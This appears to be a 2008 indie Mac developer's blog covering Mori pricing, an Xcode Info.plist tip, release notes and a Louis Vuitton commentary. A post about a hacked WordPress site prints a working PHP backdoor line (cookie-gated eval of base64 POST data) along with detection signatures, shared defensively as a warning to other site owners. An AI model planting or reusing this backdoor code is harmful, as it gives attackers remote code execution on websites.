I’ve also gone over the features of quite a few of Mori’s competitors, and realize how undervalued Mori is. So I’ll be creating a version with fewer capabilities at the current price to stay at the lower end, and the price of the full-featured version will be raised to $99.95 USD. On top of that, a Pro version will be released at $199.95 USD. Mori licensees will automatically be bumped up to the Pro license when the update is released; so as I promised you before, you won’t have to pay extra for the 1.7 upgrades. In fact, as I’m still planning to put out a 1.8 release, current licensees won’t have to pay for any 1.X upgrades.

Next on the list is the big project I had been working on when I purchased Mori and Clockwork from Jesse. It’s a programming system based on the Smalltalk programming language and it’s called Cocoalogue. What’s so special about it? It’s an interpretive system, with programs written in a shebang-prefixed text file like most scripting languages available on UNIX-like platforms. The Smalltalk-based syntax is virtually identical to Smalltalk-80 with extensions for declaring classes, methods and data types (with strong- and static-typing). It supports dynamic run-time features including blocks, automatic garbage-collection and data translation. And it has, as the name Cocoalogue would indicate, a bridge to Mac’s Cocoa frameworks. I’ll go into greater detail on these features and Cocoalogue’s current limitations in my next post. This product hasn’t been released yet, and will be priced at $129 when it is.

But I’m making the announcement now for a very good reason. You’ll be able to get a licensed copy of Cocoalogue today before it’s made available anywhere else, including the Apokalypse website, through the PMC Software Build Your Own Bundle program. Seth Dillingham, another indie Mac developer, has put together a special bundle where you can purchase Cocoalogue, Mori, Clockwork or a family pack at discounted prices. You could even get a discount on over 120 other fabulous programs from Mac indie developers as well! Not that you want to.

So go on to the bundle site, remembering that it’s the only way to get in on Cocoalogue now, and for the substantial savings you’ll get on Mori Pro 1.7 by getting a Mori license today.

And don’t forget: these sales are going to fund cancer research and treatment, so please don’t be stingy on what are already terrific deals. A lot of folks are counting on you!



Double Vision in Xcode doesn’t Double Your Fun

17 08 2008

The Mac developer scene is loaded with a lot of helpful and supportive developers out there, sharing ideas, code and encouragement with one another. I’ve benefitted from the development community, as have the Mori and Clockwork code. I say this not only as one who’s currently putting new code into them, but seeing the comments Jesse left in the code before me!

So I’d like to drop an idea into your lap you might find useful for the right type of application. As there are different types of software one can develop, e.g., operating systems, utilities, paint programs and the like, they have particular usage characteristics that they encourage. Some, like digital notebooks and desktop timers for example *cough*, tend to remain in operation while the user is logged into his account. Usually, this isn’t a problem for the user. Unless, of course, the user is also someone further developing said software. Then several questions have to be answered, such as, “How do I run unit tests on builds while still running a stable version of my app?” and “How do I try out the latest build without affecting the files which are currently open in my app?”

On operating systems based on more primitive process management, it isn’t troublesome because each built application is fairly independent of others, and often multiple invocations of a single app can be run concurrently. It wasn’t problematic on the Mac either back on MacOS 9 and earlier, and even in the early MOX releases. But now with Launch Services, running test versions of apps you run on an all-day basis can be problematic. It’s best to give that test version some different signature so its defaults and file changes don’t corrupt your normal environment.

Note that this tip doesn’t prevent two versions from munging the same files; even two unrelated apps can mess up a data file if they’re updating it at the same time. What this tip does is provide an alternate identity, if you will, for test builds so MOX doesn’t try to hand it the same data set it gives the release builds of your app. You mustn’t try to open files in the test build that are currently opened by a release build.

Here’s how I do it:

1. In the Info.plist file, use the C pre-processor’s conditional compilation directive to give your app its normal metadata when a release build is made, but a special set of metadata for all other build configurations:

#if defined(Release)
<key>CFBundleIdentifier</key>
<string>com.apokalypsesoftware.Mori</string>
#else
<key>CFBundleIdentifier</key>
<string>com.apokalypsesoftware.Mori-debug</string>
#endif

Update: I forgot to mention that Xcode 3 and later versions now use specialized editors for the Info.plist files. To override this editor selection, bring up the file’s Info window (by selecting the file and pressing cmd-I) or the Inspector window and change the File Type setting from “text.plist.whatever” to “text”. Once you add the conditional to Info.plist you can change File Type back and access Info.plist in its raw form from its target’s Properties tab. That way, you can view it in either mode within Xcode. However, making any changes in Xcode’s plist editor will wipe out any conditional directive in the file, so use it only for reviewing current settings, not for actual editing!

2. In the Target Info window (brought up via the ‘Project > Edit Active Target “Mori”‘ menu item), select the Build tab, specify “All Configurations” for the Configuration pop-up menu, and enter “plist” in the search toolbar widget to bring up the relevant setting items.

3. For the “Info.plist Other Preprocessor Flags” setting, enter -traditional as the value. While not needed to support the test version twin, it will help to prevent any URLs included in the Info.plist from being swallowed up by the pre-processor and possibly causing you sleepless nights because neither MOX nor the Xcode build system have the slightest idea of what the proper format for URLs are, but will behave erratically when it isn’t just so. So it’s best to make it a non-issue from the start. (No charge for that and other tips related to usage of the pre-processor you can find in Technical Note TN2175. Incidentally, TN2175 says to use “-traditional”, but I use “-CC”. Use whatever works for the version you’re on.)

4. For the Info.plist Preprocessor Definitions setting, enter $(CONFIGURATION). Xcode will change the display to read <multiple values>, but that’s okay because the value will vary according to the current build configuration. It will define a value that matches the build configuration that the pre-processor will test against in the Info.plist. (Try switching the setting in the Configuration pop-up menu of the Build tab to watch the value change to match the current setting.) This is what will direct the pre-processor to output the correct value for CFBundleIdentifier.

5. Check the Preprocess Info.plist File checkbox so Xcode invokes the pre-processor on the Info.plist before copying it to the application.

When built, you’ll be able to run the app concurrently with the release version, and without causing conflicts with data files in use by it. Of course, you won’t have your preferences set up, but that’s only a problem until you save preferences for the test version. (Remember, if you try to get around that problem by copying the release version’s defaults file that it also holds the recently opened files. Purge, close or what-have-you as appropriate!)

One of the extra things I attempted to do in this technique was to provide an alternate name for the private builds or test versions so they would be distinctly named for testers. We used to use naming conventions such as “Mori 1.7β4″ when distributing such versions back in the pre-MOX days, but including the metadata keys CFBundleExecutable, CFBundleName, and CFBundleDisplayName don’t have any noticeable effect. Any tips in this regard would be greatly welcomed.

I had also attempted to get the pre-processor to generate the bundle identifier with “Mori-$(CONFIGURATION)” that fit whatever build configuration was in effect automatically, which would’ve avoided the use of the #if defined directive. Unfortunately, because the macro expansion would generate Mori-Release that method proved ineffective.

A corresponding idea is to use an alternate icon (via the CFBundleIconFile specifier) to represent the test version of your app. It helps you and your testers realize when odd behavior is due to running the wrong build just by looking at the dock or application-switcher. It’s also fun to double-click a document only to realize the test app is opening vital data meant only for the stable version. Hilarity is sure to ensue. But I’m a professional, don’t you kids try this at home!

If you don’t have the construction guy handy, you can resort to the technique I used before I discovered Info.plist processing: MOX’s own stamping of missing dock files makes for a handy visual guide to your test app. To try it yourself, add the debug version from within your build/Debug folder to your dock items. That’s right, the debug version (or whatever you use for test builds). Now delete it and empty the trash. (You will be building new ones, won’t you?) Now click on the app icon you just added to the dock. It adds a big fat ‘?’ to your lovely icon, doesn’t it? (At least it should if you deleted the correct icon.) Now rebuild your app and run it from within Xcode.

Now bring up the application switcher (cmd-tab). What do you see? A big fat ol’ ‘?’ emblazoned on the debug version of your app! Oh, you don’t? You see the normal icon? Yeah, you’re on Leopard, aren’t you? This trick doesn’t work as well on Leopard because MOX validates the file state more often than Tiger did. Such as, starting the test build from the Dock instead of only within Xcode. On Leopard, clicking on the dock icon when there’s a built debug version of your app in the debug folder will restore its unstamped icon. But anytime the question mark goes away, just delete the debug version, empty the trash, and click on the dock icon again.

Have fun, and keep ‘em flying!



Web Site Issues Persist Still, Sometimes I’m to Blame, And “Hello, Mori 1.6.11!”

12 07 2008

In spite of updating WordPress a couple months ago, a spammer has managed to hack his junk into the blog webpages. You can see it at the end the page source. It’s after the closing <html> tag, where browsers ignore it, but Google doesn’t. Looks like I’ll be dumping WP to handle the blog, and just let Drupal do it all, at least for the time being.

Another issue I frequently see in the logs is user activity which is denied. A few in particular are some pages which anonymous users were trying to access. Today, however, I noticed that a normal user tried to access one of those pages so I decided to investigate. That’s when I discovered he tried adding an entry to the Mori User Story page and the system refused him! How can we refuse a user’s desire to add his own story to the story page? So I fished around in the admin controls until I found a couple that might have prevented him from doing this generous thing for us. So, hopefully, he’ll once again feel the creative mood strike him to share his experiences with us. And if this oversight and ignorance on my part also hindered your desire to let the world know about the awesome work you’re doing in Mori, please give it another shot. The community is certainly happy to find more inspiration by what you’re doing. After releasing Mori 1.6.11, I know I certainly am!

That’s right. Mori 1.6.11 is finally out, and it’s got the major smackdown on a few nasties. First, problem #2608, freezing during Spotlight updating after emptying the trash. Fixed. Second, (hmm…no problem number. Oh, well.) user’s autosave interval not being respected by Mori. Fixed. And finally, a problem that I finally managed to isolate after the beta went out (which was this past Monday, July 7, 2008): intermittent crash when updating the live search database. That long-standing bug is now dead! (It’s so old I don’t even know where the bug report for it is.)

Anyway, enough progress has been made to Mori’s internal structure since the last update, that except for taking care of some long-neglected responsibilities this weekend, I’ve been working on the polish and features that will make it into 1.7! And I understand how frustrating it is not to know the details of what they are, but it would’ve given Mori’s competitors a chance to duplicate before it’s release. But I’m looking forward to its release so I can finally share what they are with you.

In the meantime, there’s still some issue with the mGTD plugin. So there might be a Mori 1.6.12 soon if we get the cause for it, and any other open bugs, nailed down in time.

Alfonso
P.S. Did you notice the View item in the toolbar? It allows you to select either table (immediate descendants) or outline mode for the entries view. I enabled that feature a few versions back. Give it a try, if you haven’t before. Also, try out the options for Layout in the View menu. The menu isn’t quite friendly enough yet, but it still gives you a lot of flexibility to work in your own style.



Louis Vuitton Must Now Save the People of Darfur (Or At Least Try To)

4 05 2008

Social Marketing analyst Jeremiah Owyang has posted an interesting tale of artist Nadia Plesner’s hijacking of Louis Vuitton’s luxury goods brand to help raise funds for Save Darfur’s “Divest for Darfur” campaign.

As I wrote on Jeremiah’s blog,

Luxury brands do not have the luxury of remaining silent. They are the expressiveness of the well-heeled, for whom verbalizing, “I’m richer than you.” is a sign of a lack of refinement. So LV is *required* to publicly react in this case.

Their best option would be to sponsor a forum in which the global community can participate and engage with the local Darfur community and any and all who are engaged in the atrocities or can act to prevent it; a forum which (it is hoped) effects a change, but in which, at the least, participants feel as if they’re doing something. After all, a brand which symbolizes wealth *and* power is able to wield quite a bit of both itself.

The real dilemma for a brand which positions itself as a symbol of wealth and prestige, is how to present its position on non-lifestyle topics. To say you represent the constituency of wealth and influence, yet are unable or unwilling to exert either for social and political issues is preposterous. To choose to remain out of the “conversation” regarding these matters is to invoke the legend of Marie Antoinette, who when she was told the peasants of France had no bread (according to the legend), said, “Let them eat cake.” It indicates a shallowness of character, indifference to world affairs, impotence or fear of loss, none of which can be considered admirable traits and thus worthy of public expression by the upper crust. And to be directly hostile to efforts to assist the victims of genocide is to support the perpetrators of this outrage.

No, Louis Vuitton must demonstrate their ability to act on behalf of the victims and those who would assist them, or acknowledge that they are incapable of effecting any change and allow their brand to be repositioned as the symbol of a lack of influence, power, scruples and/or purpose.

I suppose it’s fitting that Paris Hilton has become the face of Louis Vuitton.



Website was Down Due to Compromised WordPress System

4 05 2008

If you attempted to access the site for the past 24+ hours I apologize for the prolonged downtime. I upgraded the WordPress system the blog runs on (complete with fail, and no thanks to the WordPress community in #wordpress for their non-help — I definitely will switch the blog to another system after 1.7’s release, and recommend prospective users to stay away from them and their system), and found compromised files throughout the system.

I believe I have corrected/removed the backdoor mechanisms which spammers have been using against the site, but there’s no evidence that the wacky WordPress system the site is now running on doesn’t have other compromised files, as well as the security holes through which the crackers originally got in.

Several compromised files had this line inserted at the beginning,

<?php if(md5($_COOKIE['_wp_debugger'])==”5fd808ac028e5197dd69318e32407eb7″){ eval(base64_decode($_POST['file'])); exit; } ?>

Others were disguised as image files, with file extensions of “pngg” and “jpgg”, and beginning with “

If you want to check your site for similarly compromised files and backdoors, search through your site code for signatures such as “qwerty”, “4008deadb16536f48b84fdc70f194dac”, “find suid files”, “_wp_debugger”, “5fd808ac028e5197dd69318e32407eb7″. The signatures are sure to change, as they’re used to activate the backdoor scripts, but at least you have a way to check current installations for these same spammers.

All in all, an unhealthy state of affairs for the Content Management System (CMS) industry. The market is still up for grabs.



The Easter mEgg Hunt Coupon System is Now Working, Discount Applied to All Past Sales in This Period

27 03 2008

Because of several problems with the system, I wasn’t able to get the coupon discounts to work before. It is now up and running on our online store, and you’ll be able to receive the special discount for the Easter mEgg Hunt.

Join in the Easter mEgg Hunt!

In fact, as a way of making amends for any difficulty to those who couldn’t find the easter egg coupon, I’m posting it here so you won’t be hampered by the search. Our Easter mEgg Hunt coupon code is FABERGE1842, and the last day it will remain valid is April 6, 2008.

And an extra in fact, I’ll be issuing refunds for all purchases made during this period at our online store in the amount of the Easter mEgg Hunt discount [Done.]. So if you haven’t received your refund by the end of this day, please let me know and I’ll correct that for you.

If you weren’t participating in the hunt, please do, as it’s fun to watch the eggs collect in your basket as you visit the vendors taking part. Plus, you get the same 20% discount on their products as well!

Now, if you’ll excuse me, I’m going to continue hibernating for the night before resuming work on Oneill (Mori 1.7) in the morning.

Happy (Belated) Easter and Spring Season!

UPDATE 2008-03-28 5:06PM EDT: And, not really. Seems my coupon system is only using the coupon once, and then I have to reset it. I’m going to work on it some more.